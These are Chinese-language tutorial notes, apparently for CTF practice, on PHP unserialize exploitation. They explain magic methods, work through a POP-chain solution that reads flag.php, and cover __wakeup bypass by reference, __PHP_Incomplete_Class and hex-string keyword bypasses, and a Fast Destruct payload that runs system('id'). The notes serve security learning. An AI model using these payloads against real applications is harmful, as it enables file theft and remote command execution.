注意
php类名大小写不敏感
魔术方法
__wakeup() //------ 执行unserialize()时,先会调用这个函数
__sleep() //------- 执行serialize()时,先会调用这个函数
__destruct() //---- 对象被销毁时触发
__call() //-------- 在对象上下文中调用不可访问的方法时触发
__callStatic() //-- 在静态上下文中调用不可访问的方法时触发
__get() //--------- 用于从不可访问的属性读取数据或者不存在这个键都会调用此法
__set() //--------- 用于将数据写入不可访问的属性
__isset() //------- 在不可访问的属性上调用isset()或empty()触发
__unset() //------- 在不可访问的属性上使用unset()时触发
__toString() //---- 把类当作字符串使用时触发
__invoke() //------ 当尝试将对象调用为函数时触发
可以参考:
php函数
__construct()
当一个对象被创建时自动调用这个方法 即 $a=new A()
时会自动调用
__call()
在对象上下文中调用不可访问的方法时触发
调用不存在的方法
既这个类中存在这个函数,却调用他就会触发
__callStatic()
触发时机:静态调用或调用成员常量时使用的方法不存在
__get()
当有__get()函数时,每次调用属性都将调用这个魔术方法,所以每次调用都会触发
触发时机:调用的成员属性不存在
参数:传参$arg1
返回值:不存在的成员属性的名称
__set()
触发时机:给不存在的成员属性赋值
__isset()
__unset()
__clone()
__toString()
当echo
或者.
拼接对象时会调用这个魔术方法
总结
构造pop链
如果存在私有属性,则需要url加密
urlencode(serialize($b));
因为私有属性前面和后面存在%00
例题
例题:小白进群题
<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>
pop链
<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
private $var="flag.php";
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){//把这个实例当作一个方法来调用
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){//当使用echo或者print输出对象时,将对象转化成字符串
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test{
public $p;
public function __get($key){//访问私有属性private、以及不存在的属性时被调用
$function = $this->p;
return $function();
}
}// ->__construct->__get->__invoke
$a=new Modifier();
$b= new Show();
$c = new Test();
$b->source= $b;
$b->str=$c;
$c->p=$a;
echo urlencode(serialize($b));
?>
结果
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A13%3A%22%00Modifier%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7D
注意
__construct()
__sleep()
可能会影响pop链的构造,如果影响了得删了__wakeup
可能是不需要的,需要绕过
php引用赋值&
php中可以使两个变量指向同一个内存地址
<?php
function test (&$a){
$x=&$a;
$x='123';
}
$a='11';
test($a);
echo $a;
输出:
123
<?php
class KeyPort{
public $key;
public function __destruct()
{
$this->key=False;
if(!isset($this->wakeup)||!$this->wakeup){
echo "You get it!";
}
}
public function __wakeup(){
$this->wakeup=True;
}
}
if(isset($_POST['pop'])){
@unserialize($_POST['pop']);
}
这题的绕过可以通过的引用赋值的方法,让key的值改变的时候也改变wakeup的值
<?php
class KeyPort{
public $key;
public function __destruct()
{
}
}
$keyport = new KeyPort();
$keyport->key=&$keyport->wakeup;
echo serialize($keyport);
#O:7:"KeyPort":2:{s:3:"key";N;s:6:"wakeup";R:2;}
__PHP_Incomplete_Class
当我们遇到serialize(unserialize($serialize_text)) !== $serialize_text
这种判断的时候可以考虑使用__PHP_Incomplete_Class
实际上 __PHP_Incomplete_Class
是一个类
在PHP
中,当你尝试将序列化文本进行反序列化操作以获得一个对象
时,若 与序列化文本相关联的类还没有在当前 PHP 上下文中被定义或包含时,PHP 就会使用__PHP_Incomplete_Class
对象来代替这个对象。
我们看下面的例子
<?php
$result = unserialize('O:7:"MyClass":2:{s:4:"name";s:8:"RedHeart";s:6:"nation";s:5:"China";}');
var_dump($result);
E:\xampp\htdocs\1\4.php:3:
class __PHP_Incomplete_Class#1 (3) {
public $__PHP_Incomplete_Class_Name =>
string(7) "MyClass"
public $name =>
string(8) "RedHeart"
public $nation =>
string(5) "China"
}
可以看到,由于unserialize()
函数将序列化文本反序列化为对象时,相关的类没有被定义或包含,导致php使用__PHP_Incomplete_Class
对象作为反序列化操作的结果
__PHP_Incomplete_Class
的作用主要在于防止因错误导致程序的崩溃,提高程序的可靠性与可用性
。
同时,__PHP_Incomplete_Class
是不可访问的,你试图访问这个对象的属性时,PHP
将抛出 Warning
异常。
<?php
$result = unserialize('O:7:"MyClass":2:{s:4:"name";s:8:"RedHeart";s:6:"nation";s:5:"China";}');
var_dump($result);
var_dump($result->name);
结果
E:\xampp\htdocs\1\4.php:3:
class __PHP_Incomplete_Class#1 (3) {
public $__PHP_Incomplete_Class_Name =>
string(7) "MyClass"
public $name =>
string(8) "RedHeart"
public $nation =>
string(5) "China"
}
PHP Warning: main(): The script tried to access a property on an incomplete object. Please ensure that the class definition "MyClass" of the object you are trying to operate on was loaded _before_ unserialize() gets called or provide an autoloader to load the class definition in E:\xampp\htdocs\1\4.php on line 4
PHP Stack trace:
Warning: main(): The script tried to access a property on an incomplete object. Please ensure that the class definition "MyClass" of the object you are trying to operate on was loaded _before_ unserialize() gets called or provide an autoloader to load the class definition in E:\xampp\htdocs\1\4.php on line 4
Call Stack:
0.0829 404960 1. {main}() E:\xampp\htdocs\1\4.php:0
PHP 1. {main}() E:\xampp\htdocs\1\4.php:0
E:\xampp\htdocs\1\4.php:4:
NULL
serialize(unserialize($x)) !== $x
__PHP_Incomplete_Class
的出现使 serialize(unserialize($x)) !== $x;
也成为了可能。
<?php
$serialize_text = 'O:22:"__PHP_Incomplete_Class":2:{s:4:"name";s:8:"RedHeart";s:6:"nation";s:5:"China";}';
var_dump(serialize(unserialize($serialize_text)) !== $serialize_text);
当我们反序列化__PHP_Incomplete_Class
这个类,再序列化后,其内容会变成
O:22:"__PHP_Incomplete_Class":1:{s:4:"name";s:8:"RedHeart";s:6:"nation";s:5:"China";}
序列化文本所描述的属性个数要比__PHP_Incomplete_Class
对象的属性个数少 1
如果我们尝试描述一个所属类为 __PHP_Incomplete_Class
的对象的序列化文本
O:22:"__PHP_Incomplete_Class":2:{s:4:"name";s:8:"RedHeart";s:6:"nation";s:5:"China";}
当我们反序列化又序列化后会变成下面效果
"O:22:"__PHP_Incomplete_Class":1:{s:4:"name";s:8:"RedHeart";s:6:"nation";s:5:"China";}"
在将人为构造的 __PHP_Incomplete_Class
对象进行序列化后,序列化文本中描述对象属性个数的数值由原先的 2
变为了 1
。
unserialize()
在发现当前 PHP
上下文中没有包含相关类的类定义时将创建一个 __PHP_Incomplete_Class
对象。而 serialize()
在发现需要进行序列化的对象是 __PHP_Incomplete_Class
后,将对其进行特殊处理以得到描述实际对象而非__PHP_Incomplete_Class
对象的序列化文本,而这里就包含了 将属性的描述值减一
这一步
<?php
var_dump(serialize(unserialize('O:22:"__PHP_Incomplete_Class":3:{s:27:"__PHP_Incomplete_Class_Name";s:7:"MyClass";s:4:"name";s:8:"RedHeart";s:6:"nation";s:5:"China";}')));
结果
string(69) "O:7:"MyClass":2:{s:4:"name";s:8:"RedHeart";s:6:"nation";s:5:"China";}"
所以实际的执行顺序为
- 将
__PHP_Incomplete_Class
对象中的属性个数减一
并将其作为序列化文本中对实际对象属性个数的描述值
。 - 将
__PHP_Incomplete_Class
对象的__PHP_Incomplete_Class_Name
作为序列化文本中 对象所属类的描述值。若未从__PHP_Incomplete_Class
对象 中检查到__PHP_Incomplete_Class_Name
属性,则跳过此步。 - 将
__PHP_Incomplete_Class
对象的序列化文本中对__PHP_Incomplete_Class_Name
属性的描述删去。若没有发现相关描述,则跳过此步。
绕过关键字
如果不指定__PHP_Incomplete_Class_Name
的话,那么__PHP_Incomplete_Class
类下的变量在序列化再反序列化之后就会消失,从而绕过某些关键字
反序列化编码
最后反序列化窜可以使用S:+十六进制
来绕过例如将;s:5:"admin"
替换为;S:5:"\61dmin"
这里要记住后面的S
是大写
Fast Destruct
Fast Destruct一般通过破坏序列化字符串的结构来实现,payload如下
$payload = 'a:2:{i:0;O:7:"classes":0:{}i:1;O:4:"Test":0:{}';
$payload = 'a:3:{i:0;O:7:"classes":0:{}i:1;O:4:"Test":0:{}}';
$payload = 'a:2:{i:0;O:7:"classes":0:{}i:1;O:4:"Test":0:{};}';
Fast Destruct与正常反序列化的区别
正常反序列化
<?php
class B {
public function __call($f,$p) {
echo "B::__call($f,$p)\n";
}
public function __destruct() {
echo "B::__destruct\n";
}
public function __wakeup() {
echo "B::__wakeup\n";
}
}
class A {
public function __destruct() {
echo "A::__destruct\n";
$this->b->c();
}
}
unserialize('O:1:"A":1:{s:1:"b";O:1:"B":0:{}}');
可以看到会先对B类进行一个__wakeup
然后A__destruct
,然后是对B类的一些操作
当使用fast Destruct
__wakeup
被放到后面执行了,也就是__destruct()
函数被提前执行了
使用场景
当要使用类中的__destruct()
方法时,如果涉及到throw new Exception("xxxx");
时,如果正常构造反序列化串,异常会在__destruct()
之前抛出,也就是会跳过__destruct()
函数的执行,导致我们没法执行__destruct()
中的内容,所以我们得使用Fast Destruct
提前触发反序列化。unserialize()
函数得到的对象的生命周期如下:
- 在PHP中如果单独执行
unserialize()
函数,则反序列化后得到的生命周期仅限于这个函数执行的生命周期,在执行完unserialize()
函数时就会执行__destruct()
方法 - 而如果将
unserialize()
函数执行后得到的字符串赋值给了一个变量,则反序列化的对象的生命周期就会变长,会一直到对象被销毁才执行析构方法
通常发序列化的入口在__destruct()
方法,__wakeup()
方法的内容一般为反序列化的限制,如果在反序列化操作之后抛出了异常则会跳过__destruct()
函数的执行。
class Clazz
{
public $func;
public $args;
public function __destruct()
{
call_user_func($this->func, $this->args);
}
}
$a = @unserialize($_POST['data']);
throw new Exception("Hacker");
反序列化操作执行之后并没有立即执行__destruct()
方法中的内容,而是抛出了异常导致__destruct()
方法被跳过。但是我们可以修改序列化得到的字符串使得反序列化解析出错,导致__destruct()
方法被提前执行。
我们可以在末尾加入一个1或者去掉一个大括号
//末尾加入了一个数字1
O:5:"Clazz":2:{s:4:"func";s:6:"system";s:4:"args";s:2:"id";1}
//去掉了一个大括号
O:5:"Clazz":2:{s:4:"func";s:6:"system";s:4:"args";s:2:"id";
unserialize()
函数在扫描到序列化字符串格式有误时会提取触发对象的__destruct()
方法导致命令执行。